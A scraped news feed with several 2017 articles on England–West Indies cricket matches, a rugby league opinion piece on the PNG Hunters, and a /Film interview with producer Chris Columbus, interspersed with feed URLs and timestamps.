It wasn’t all good news for the hosts, with limited-overs captain Eoin Morgan’s poor form continuing when he was dismissed for a first-ball duck as England slipped to 74-3 in the 12th over.

Still, they recovered to post a total that dwarfed the previous best in ODIs at this ground of 329.

West Indies at least stood a chance while Gayle was at the crease, the 38-year-old reaching his half-century in 38 balls with a huge six off Moeen’s spin.

Gayle then hit a further three sixes off Moeen during the 23rd over of the chase to move onto 91.

But his sluggish running between the wickets when he was stranded six runs shy of three figures following a direct hit from Adil Rashid at cover.

That left the Windies 176 for four in the 27th over, still 194 shy of victory.

They never looked like getting there as England’s bowlers, led by a maiden ODI five-wicket haul from Liam Plunkett, wrapped up victory in ruthless fashion.

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]]> https://briefnews.eu/england-v-west-indies-moeen-ali-reaches-brilliant-century/feed/ 0 Jonny Bairstow makes maiden ton as England thrash West Indies at Old Trafford https://briefnews.eu/jonny-bairstow-makes-maiden-ton-as-england-thrash-west-indies-at-old-trafford/ https://briefnews.eu/jonny-bairstow-makes-maiden-ton-as-england-thrash-west-indies-at-old-trafford/#respond Wed, 20 Sep 2017 00:23:46 +0000 http://briefnews.eu/jonny-bairstow-makes-maiden-ton-as-england-thrash-west-indies-at-old-trafford/

The current Test wicketkeeper has been a brooding presence pushing from the fringes for much of the last two years, stepping in and out of the side to cover injuries and losses of form but never gaining a firm grip of any particular role.

But after being told to make his case as Alex Hales’s opening partner during this Royal London Series after patience with the explosive Jason Roy finally snapped, he went out and made a real statement.

The numbers of this match suggest a one-sided affair and they do not completely lie. West Indies were half-hearted throughout. But Bairstow anchored a perfectly timed chase with an authority that only his Test skipper, Joe Root, could match, reaching three figures in 97 balls as England chased down West Indies 204 with 67 balls to spare.

Give or take a few outings with Sam Billings in Bangladesh in 2016 when Hales opted out and other times when injuries have struck, Roy and Hales have been in situ since coach Trevor Bayliss took the England reins.

But Bairstow will now be looking to secure the job for the next two years – enough to reach the World Cup on home soil in 2019.

For West Indies, last night’s comprehensive defeat ensured that is a tournament for which they will have to pre-qualify against other Test-playing nations in a 10 team tournament.

As things stood they needed to beat England either 4-0 or 5-0 in this five match series to avoid having to go up against Ireland, Afghanistan, Zimbabwe and a host of associate nations in a qualifier next September with the top two going through.

Last night’s match did not get underway on time with umpires and both captains unwilling to start on an outfield which they felt was unsafe with damp patches square of the wicket.

But with the sun beating down unbroken and a increasingly frustrated 15,000 crowd wondering what they expected when they scheduled an ODI in September, common sense finally prevailed.

In theory a match reduced to 42 overs should have played to West Indies strengths given their T20 pedigree, yet after electing to bat they proceeded to produce a bizarrely two-paced effort.

Its initial stages saw a predictable flurry of boundaries from the big-hitting Chris Gayle launching three big sixes in the first power play helping West Indies to 49 in the first seven overs.

But a failure to punctuate the big hits with any meaningful running between the wickets proved a serious failing throughout.

Despite Jamaican roots, running has never been Gayle’s strongpoint but his efforts his efforts might better have been captured with time-lapse photography rather than Sky’s high definition.

Gayle was dropped when he was yet to score – a relatively easy chance by Root at second slip off the bowling of Chris Woakes – but the same fielder made amends grabbing a difficult chance running back at cover.

In his defence, Gayle managed to hit some big shots as well which is more than could be said for most of the rest with only Jason Holder and the opener managing to more runs than balls faced.

In between there was stagnation which was partly down to England’s bowlers utilising smart variations of slower balls and partly down to West Indies’ lack of urgency.

Marlon Samuels was perhaps the biggest culprit, crawling his way to 17 in 46 balls before he was out, feathering Ben Stokes down the leg side to Jos Buttler, a decision given after England reviewed the not out decision.

Commendably Stokes chose not to send him on his way despite the long history of clashes between the pair although there is time in the series yet.

England were barely out of a canter at any stage responding to what was a below par total for all that their new opening partnership did not make it to the fifth over intact, Hales cutting Jerome Taylor to point.

A partnership of 125 between Root and Bairstow broke the back of the chase and although Root and Morgan were chipped out, the former for 54 and the latter continuing a poor run for 10, Bairstow provided a reassuring presence at the other end.

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]]> https://briefnews.eu/jonny-bairstow-makes-maiden-ton-as-england-thrash-west-indies-at-old-trafford/feed/ 0 PNG Hunters can be West Indies of NRL https://briefnews.eu/png-hunters-can-be-west-indies-of-nrl/ https://briefnews.eu/png-hunters-can-be-west-indies-of-nrl/#respond Tue, 19 Sep 2017 01:31:22 +0000 http://briefnews.eu/png-hunters-can-be-west-indies-of-nrl/ MATTHEW Johns says the NRL needs to stop sitting on its hands when it comes to the game’s important issues like participation and future expansion.

Cities like Perth and Adelaide are frequently touted as possible locations as part of a strategic plan to grow the sport and plans for a second team in Brisbane has been on the agenda for a decade.

But Johns says the game’s administrators are guilty of tunnel vision in their pursuit of growth and should be targeting the Papua New Guinea Hunters as the next team to join the NRL.

The Hunters have been an instant success since their inaugural season in the Queensland Cup in 2014 and are one win away from being crowned this year’s premiers.

Johns believes the inclusion on the Hunters will revolutionise the NRL like the West Indies did for cricket in the 1980s.

CAP THREAT: Greenberg’s Dally M ultimatum

“I urge the game to think out of the square, go away from their traditional thinking. We look at the game too narrowly and we look at the Australian continent … we keep talking that ‘we want Perth, we want Perth’ and I get that,” Johns said on Triple M’s The Grill Team.

“(But) The Pacific Islands, that’s where the growth is.

“We’ve got a situation this weekend in the Queensland Cup, the Sunshine Coast are playing against the PNG Hunters.

“It is the most underestimated story in rugby league that the PNG Hunters are in the Queensland Cup grand final, the second best competition in rugby league outside of the NRL … I put it on par with the English Super League, it is that strong of a competition.

“Last weekend in Port Moresby to get into the game [preliminary final] they were lining up for 24 hours to watch the game.

“What are we doing? When’s our plan to bring them in?

“They could be the West Indies. The West Indies revolutionised cricket in the 80s and they could do the same thing for rugby league”.

Johns also weighed in on the participation debate at the junior level after NRL CEO Todd Greenberg conceded it has become increasingly challenging to promote the 13-a-side version of the game to teenage boys in particular.

He says the physicality and contact at that age group became a daunting prospect for a lot of young boys.

“Thirteen is a really pivotal age,” he said.

“Thirteen is when a lot of boys get the big testosterone drop, some kids don’t get it until their 15, 16.

“I’m telling you, I remember at 13 years of age and I was a skinny little kid playing against some kids who looked like they had a three day growth.

“You’re scared, it is scary.”

Fellow Grill Team host Mark Geyer also said he has witnessed the “disintegration” of junior football in the heartlands of rugby league with his own eyes.

“We’re watching bush footy disintegrate before our eyes,” Geyer said.

“I’m watching teams even in our metropolitan area because of registration fees and of other sports coming in like Oztag and AFL.

“I know rugby league is a traditional game we’ve grown up with but when I was playing footy growing up there was 14 teams in Mt Druitt alone, now there’s one.”

One area experiencing a surge in participation is women’s rugby league but Johns fears the NRL is falling behind its biggest competitor, the AFL, when it comes to developing the women’s game.

“The women’s Sydney domestic league competition grand final is on this weekend between the Newcastle side and the Redfern All Blacks,” Johns said.

“I said to the girls, what’s the plan for next year and they said ‘we haven’t heard, there are no plans.’

“C’mon, there is a real want for women to have that pathway to be able to play at some sort of elite level.

“The AFL have led that way with the AFLW so there is so much more they can do for participation levels that they are sitting on their hands with.”

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]]> https://briefnews.eu/png-hunters-can-be-west-indies-of-nrl/feed/ 0 England falter after Ben Stokes takes six-wicket haul at Lord's against West Indies https://briefnews.eu/england-falter-after-ben-stokes-takes-six-wicket-haul-at-lords-against-west-indies/ https://briefnews.eu/england-falter-after-ben-stokes-takes-six-wicket-haul-at-lords-against-west-indies/#respond Fri, 08 Sep 2017 00:54:59 +0000 http://briefnews.eu/england-falter-after-ben-stokes-takes-six-wicket-haul-at-lords-against-west-indies/

Ben StokesGETTY

Ben Stokes took 6-22 as West Indies toiled at Lord’s

But after Ben Stokes produced a blistering spell of 6-22 which left Jimmy Anderson agonisingly one wicket short of his 500th Test victim, England’s own batsmen also failed to get out of the shadows.

There will be other days for Anderson and, given the speed with which conditions impacted the momentum of this match, his landmark will almost certainly arrive before the end of the weekend.

And there will be other days for England who still have plenty of batting left for all that they were a less-than-impressive 46-4 at the close.

Yet this was Stokes’s day for all that after pounding in for a nearly unplayable spell of 14 and a half overs in just over two hours of graft either side of tea to blow the match open, would not have expected to be back in at the close.

When rain pipped bad light to stop play with Stokes and Malan both unbeaten on 13, Joe Root’s side trailed West Indies 123 all out by 77 runs.

England’s top 10 overseas Test victories

Wed, December 30, 2015

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1 of 10

England headed to Sydney with the 2010-11 Ashes in the bag but a series win was at stake. Hundreds from Alastair Cook, Ian Bell and Matt Prior set up a total of 644 before the seamers forced the tourists to an innings win

The day started with two early wickets for Anderson which appeared to set the stage for him to take all the plaudits, yet at 6.34pm it was a stage so crowded you could barely see a fairy ring.

And there were precious few batsman battling for the bouquets.

If any deserved to take a bow it was Kieran Powell, for all that when he was caught and bowled by Stokes to leave West Indies 78-4 in the middle session, he would scarcely have believed 39 would be the top score of the day.

From the moment West Indies captain Jason Holder called correctly at the toss and opted to bat though, the clouds appeared to darken and build in the distance over the Warner Stand.

Joe RootGETTY

Joe Root fell for just one run as England lost four wickets

And by the time Anderson had the ball in hand running in from the Pavilion End it was gloomy, heavy and tailormade for swing bowling.

Despite the disappointment of Alastair Cook dropping Kraigg Brathwaite in his second over, Anderson was quickly into his personal race to 500 taking 2-0 in 12 balls.

The wickets, coming either side of a 40-minute rain break in the opening session, moved him to 499.

Frustratingly for him and the Lord’s crowd, the final step was proved elusive and when Stuart Broad left the field for treatment for a sore left heel after lunch, Root unleashed Stokes on a mammoth two hour spell from the Nursery End which proved too good to stop – both for the England captain and the West Indies.

Toby Roland-Jones, selected here in place of Chris Woakes, had stepped up to the plate in his second spell getting Shai Hope and Jermaine Blackwood, the former chipped out skilfully with a devilish lifter, the latter other just tempted into a rash shot.

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In between, Stokes took the first of his half dozen taking a sharp low catch in his follow through to get rid of Powell.

From there to the end of the West Indies innings, Stokes settled into a rhythm, hooping the ball between 85 and 90mph both ways.

Stokes produced belters to get rid of Roston Chase and, with the second over after tea Holder – one an outswinger and the other going the other way but both clipping the top of off stump.

Yet as soon as the West Indies captain was out Root brought Anderson back with a suitable sense of occasion.

The wicket would not come though Despite him tangling the hapless Devendra Bishoo in a web of tracer bullets he could not land the killer punch.

Jason HolderGETTY

Jason Holder took two wickets before the day ended as 14 wickets fell in total

At the other end Stokes was chipping them out, with Anderson selflessly helping out to grab Stokes’s fifth wicket with a superb diving catch at fourth slip which bagged Kemar Roach and left them nine down.

Stokes needed just one more ball to finish it.

It was the third six wicket haul of Stokes Test career but if he had thoughts putting his feet up he was to find himself back in the middle before the end of the day.

England’s reply was 16 deliveries old when Mark Stoneman nicked Roach behind. Cook was undone by the perfect seaming ball, losing the top of his off stump and Tom Westley was lbw, his fifth single figure score on the trot.

Root was back with him after the first ball of the next over leaving England 24-4 before Stokes and Malan staged a recovery of sorts.

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]]> https://briefnews.eu/england-falter-after-ben-stokes-takes-six-wicket-haul-at-lords-against-west-indies/feed/ 0 Alastair Cook punishes West Indies as England take complete charge of day-night Test https://briefnews.eu/alastair-cook-punishes-west-indies-as-england-take-complete-charge-of-day-night-test/ https://briefnews.eu/alastair-cook-punishes-west-indies-as-england-take-complete-charge-of-day-night-test/#respond Sat, 19 Aug 2017 01:28:08 +0000 http://briefnews.eu/alastair-cook-punishes-west-indies-as-england-take-complete-charge-of-day-night-test/

No bowling attack wants to face Cook at his obdurate best. However, it was almost painful watching a powder puff unit that betrays the West Indian greats of the past flail around in vain as England’s all-time leading run-scorer racked up a monster innings of 243 that lasted nine hours and 22 minutes.

Cook’s runs were the bedrock of England’s mammoth total of 514-8 and it was his dismissal, after 406 balls, that triggered the declaration 40 minutes before tea on the second day of this opening day-night Test.

That allowed Anderson, his country’s most prolific bowler in history, to get to work, using this pink ball as effectively as the traditional red to dismiss opener Kraigg Brathwaite before the tourists had even put a run on the board.

West Indies at least battled through to tea, Anderson toying with debutant Kyle Hope, who he had a huge lbw appeal against first ball, and Keiran Powell, his partner.

There was also time for two drops either side of the interval, Stuart Broad the unlucky bowler as Powell, spared on two by Ben Stokes at gully, and Hope, receiving a life on 14 thanks to Moeen Ali at third slip, escaped.

By the time rain halted play shortly before 7.30pm, the West Indies had progressed to 44-1, still a massive deficit of 470 runs. At least the downpour gave England’s opponents from some respite from a relentless bowling effort, with Anderson, who conceded just 17 runs from eight overs before the rain fell, their chief tormentor.

Cook, though, is the man who softened the tourists up during a knock that means the great Wally Hammond, with seven, is now the only England batsman who has more Test double centuries than the Essex opener.

This, though, was by far Cook’s easiest and quickest double ton.

His three previous efforts all came in crunch matches in closely-fought series, the 32-year-old notching his first against Australia in Brisbane in the opening match of the 2010-11 Ashes series before scoring 294 against India here at Edgbaston the following summer and then a marathon 263 against Pakistan in Abu Dhabi two winters ago.

ENGLAND V WEST INDIES DAY 2 SCOREBOARD

However, even the moment Cook reached his landmark in this match was stained by West Indian ineptness, with a misfield from Hope on the third-man boundary allowing him to go past 200.

It really did sum up the pitiful display so far from opponents who are light years away from what Joe Root’s men will face during this winter’s Ashes series in Australia.

Plainly, this three-match series promises to offer England little challenge. In this match, it appears not a matter of if but when the hosts will hammer home their advantage and wrap up victory.

The lopsided nature of the contest then perhaps devalues the runs scored by Dawid Malan, who registered his maiden Test half-century during a first session that had begun with England resuming on their overnight score of 348-3.

Malan, who started the day on 28, looked composed in reaching his 50, with one cover drive off the bowling of Alzarri Joseph bearing the watermark of a man who just might have a chance of establishing himself in the No5 position.

Yet Malan will be judged by the way he threw away a golden opportunity to reach a first Test hundred shortly before lunch, playing a poor shot to the part-time spin of Roston Chase that saw him caught at slip on 65.

It was the only highlight of a session for the West Indies that had seen their attack conceded 101 answered before that.

And even the flurry of wickets after the interval as England sought quick runs to hasten their declaration could do little to gloss over a shocking effort with the ball from the tourists.

The fact Chase, whose part-time off-breaks proved too tempting for England’s batsmen, was their standout bowler, taking 4-113, summed up the sorry state of fast bowling right now in the Caribbean.

Stokes and Moeen both fell playing aggressive shots to Chase as England slipped 506-6 either side of Jonny Bairstow being bowled for 18 by West Indies captain Jason Holder.

Cook’s dismissal, the former England skipper trapped lbw on review by Chase, then wrapped up the innings.

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]]> https://briefnews.eu/alastair-cook-punishes-west-indies-as-england-take-complete-charge-of-day-night-test/feed/ 0 Chris Columbus on ‘Patti Cake$,’ Indies vs. Superhero Movies, and ‘Gremlins 3’ [Interview] https://briefnews.eu/chris-columbus-on-patti-cake-indies-vs-superhero-movies-and-gremlins-3-interview/ https://briefnews.eu/chris-columbus-on-patti-cake-indies-vs-superhero-movies-and-gremlins-3-interview/#respond Thu, 17 Aug 2017 20:09:35 +0000 http://briefnews.eu/chris-columbus-on-patti-cake-indies-vs-superhero-movies-and-gremlins-3-interview/ chris columbus interview 3

Patti Cake$ was one of the the breakout hist of Sundancee 2017. Newcomer writer/director Geremy Jasper discovered Aussie Danielle Macdonald to play his title character, New Jersey rapper Patti Cake$ . The film also stars Bridget Everett as Patti’s mom, lounge singer Barb, and newcomer Siddharth Dhananjay.

The producer of Patti Cake$ is someone who’s been in the lives of movie fans since the ‘80s. Chris Columbus produced the film with his company Maiden Voyage, which he runs with his daughter, Eleanor. The director of Home Alone, Adventures in Babysitting and the first two Harry Potter movies spoke with /Film about Patti Cake$ and Maiden Voyage, which also produced the film Menashe, about a Hadisic father and his son.

We had a long conversation with Columbus about the state of the film industry…and his plans for Gremlins 3.

Is Maiden Voyage different than your 1492 Pictures?

Yeah, Maiden Voyage actually began about four-and-a-half, five years ago. Prior to that I had been involved with taking a trip to New York once a week to meet with NYU film students and help them figure out a way to fund their first feature, try to find financing for them. I’d fly in for the day, we’d award some money to a documentary and maybe two features. Then I’d disappear, come back to San Francisco and maybe get a DVD out of it at the end of it. What I realized after doing it for about five years at NYU is that I wasn’t developing any relationship with these filmmakers. I really wanted to work with them. For me, I get re-energized by working with younger filmmakers, people who want to go beyond the superhero vision of making films, who want to make artistic statements, who also at times want to do movies that potentially could find an audience as well.

So I called my daughter, Eleanor, who was in New York working in independent films. I said, “Why don’t we start up a film company where I’m basically doing what I do with NYU but instead of leaving a project, we stay on board as producers and help them through the shooting of the film and the editing of the film, post-production and all of those things. That’s how it started. We started with Little Accidents and Mediteranea which subsequently went to Sundance and then Cannes. Then The Witch, which suddenly opened up our mercenary side a little bit because we were shocked at how well the film performed at the box office. Yet it was a towering artistic achievement for the director. For us, it was like, “We can do movies for two to five million dollars and maybe reach a big audience and still come out with our artistic integrity intact.”

Would Maiden Voyage be a company you direct films for?

It’s possible. It’s definitely possible. I’ve been so inspired, finishing Tallulah and then Patti Cake$ and Menashe, which opened a couple weeks ago, I get inspired by going to the sets, by hanging out with these directors, some of whom have been trying to make their movies for…on Menashe, Josh spent four years shooting that film for a mere $ 150,000. That was the final price of the film. That, to me, is inspiring. That, to me, is much more inspiring than going off and doing Thor 6.

Does Eleanor give you a new point of view on material?

Completely. Obviously being younger, she comes from a more contemporary place and we don’t always agree. It’s a three strike rule. First we’ll read the script. If the script is great, then we’ll look at the short. If the director has done a spectacular short, then we meet the director. If the director feels like someone who can command a set on their first film and has enough confidence and vision to bring what we saw in the script and the short film to their first feature, then we decide to get involved. We don’t always agree on the scripts. 90% of the time we do. A couple of movies haven’t been made because of our disagreements, but for the most part, we tend to go into it knowing that we both agree that it’s a film that should be made.

Is this sort of how you got your start too? You had people like Steven Spielberg and John Hughes believe in you and give you shots at writing and directing.

Yeah, they were coming more from a studio perspective, but back then, the independent film world wasn’t as prevalent. You basically were told in film school that if you want to become a director, the quickest and best way to become a director is to write a couple of successful movies. So that’s basically what I did. My relationship with Steven on Gremlins, Goonies and Young Sherlock Holmes was essentially my version of graduate film school. I learned so much from him just being able to have an office three doors down from him and dropping off pages of something like Goonies and having him make suggestions and I would go back and rewrite it. I became a much better filmmaker because of him.

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The hook of Patti Cake$ is the rap, but it’s really a mother/daughter story, isn’t it?

It is a mother/daughter story and it’s also a story about music. Music is very close to my heart and I love how Geremy was able to connect these two generations of music in this one movie. The movie begins with this incredibly intense rap hip-hop fantasy sequence and then it goes into a fairly obscure Bruce Springsteen song from The River Sessions in 1979 or 1980. Geremy has a love of music that spans decades. That was the first thing I responded to. The second thing I responded to is how well he knows these people. He grew up in New Jersey. He knows this world and he just brought a reality to it. So it is a mother/daughter story. It reminds me a lot of the first time I saw Saturday Night Fever and also Rocky a little bit. Obviously, people are going to compare it to 8 Mile, but I just love the entire idea that the best filmmakers bring you into that specific world. I don’t know New Jersey that well, but it’s a side of New Jersey I had never seen, nor did I know existed. That’s what I loved about what he did with the film. It is essentially at its heart a mother/daughter story, but it’s also a story about friendship as well and how friendship translates into music and how that can create something lasting, musically.

Bridget Everett is a movie star. Is she a secret undiscovered weapon?

I think so. She’s like the queen of the talk shows now. She just steals every appearance she does, whether it’s Jimmy Fallon. Everything I’m seeing, she’s spectacular. She’s endearing and also incredibly filthy. She’s, to me, one of the more amazing talents to emerge from this, as is Daniella of course.

Did we know Bridget could sing before Patti Cake$ ?

Well, yeah, because she had a cabaret act for years. I think Geremy saw it. I wasn’t aware of Bridget until Geremy told me about her and then I started looking up old YouTube videos and teaching myself about how important she was to the New York cabaret world.

Was Patti always going to be an unknown?

I think so. I think from Geremy’s point of view, definitely. The shocking thing about it obviously is that she’s Australian. We had screenings where suddenly there’s a Q&A afterwards and Daniella opens her mouth to speak and she’s got this heavy Australian accent and the audience just gasps. At the Sundance screening people were screaming. They couldn’t believe that she was such a convincing New Jersyan.

To me the fantasy sequences were about capturing the feeling of music, not just the literal sound of it. Is that what Geremy was going for?

I think the fantasy sequences are obviously capturing what Patti’s dreams are, what she thinks she wants. The interesting thing is musicians, because I’m obsessed with music and I’ve been friends with a lot of musicians over the years, they all say the same thing. Regardless of their level of success, the most successful ones talk about how there’s nothing quite like hearing your song on the radio for the first time. There’s nothing that can replace that feeling. Some very famous rock stars are like, “It never goes away.” It never stops being one of the most joyous moments of their lives. For me, this movie is all about that song being played on the radio. I’ve seen the movie 25, 30 times and I’m still crying at the end of the movie. That, to me, is what the real dream is. That boils it down to the reality of the dream and the fantasy sequences are again what really don’t matter in music if you take music in its purest form.

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The post Chris Columbus on ‘Patti Cake$ ,’ Indies vs. Superhero Movies, and ‘Gremlins 3’ [Interview] appeared first on /Film.

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]]> https://briefnews.eu/chris-columbus-on-patti-cake-indies-vs-superhero-movies-and-gremlins-3-interview/feed/ 0 England v West Indies scorecard LIVE: Latest score from day-night Test at Edgbaston https://briefnews.eu/england-v-west-indies-scorecard-live-latest-score-from-day-night-test-at-edgbaston/ https://briefnews.eu/england-v-west-indies-scorecard-live-latest-score-from-day-night-test-at-edgbaston/#respond Thu, 17 Aug 2017 17:37:47 +0000 http://briefnews.eu/england-v-west-indies-scorecard-live-latest-score-from-day-night-test-at-edgbaston/

Day-night Test cricket, complete with a bright pink ball, 2pm starts and floodlights after tea, has been played four times before.

Three of those matches have taken place in Australia and one in Dubai, both places where Test attendances have been on the wain.

West Indies have experience of the format having played against Pakistan in the UAE under the lights.

However, Azhar Ali’s unbeaten triple hundred ensured it was not a match Jason Holder’s side will want to remember and they will hope to avoid a similar fate at Edgbaston.

England team to face West Indies

Cook, Stoneman, Westley, Root (c), Malan, Stokes, Bairstow, Moeen, Roland-Jones, Broad, Anderson

West Indies team to face West Indies

Brathwaite, Powell, S Hope, K Hope, Chase, Blackwood, Dowrich, Holder, Roach, Joseph, Cummins

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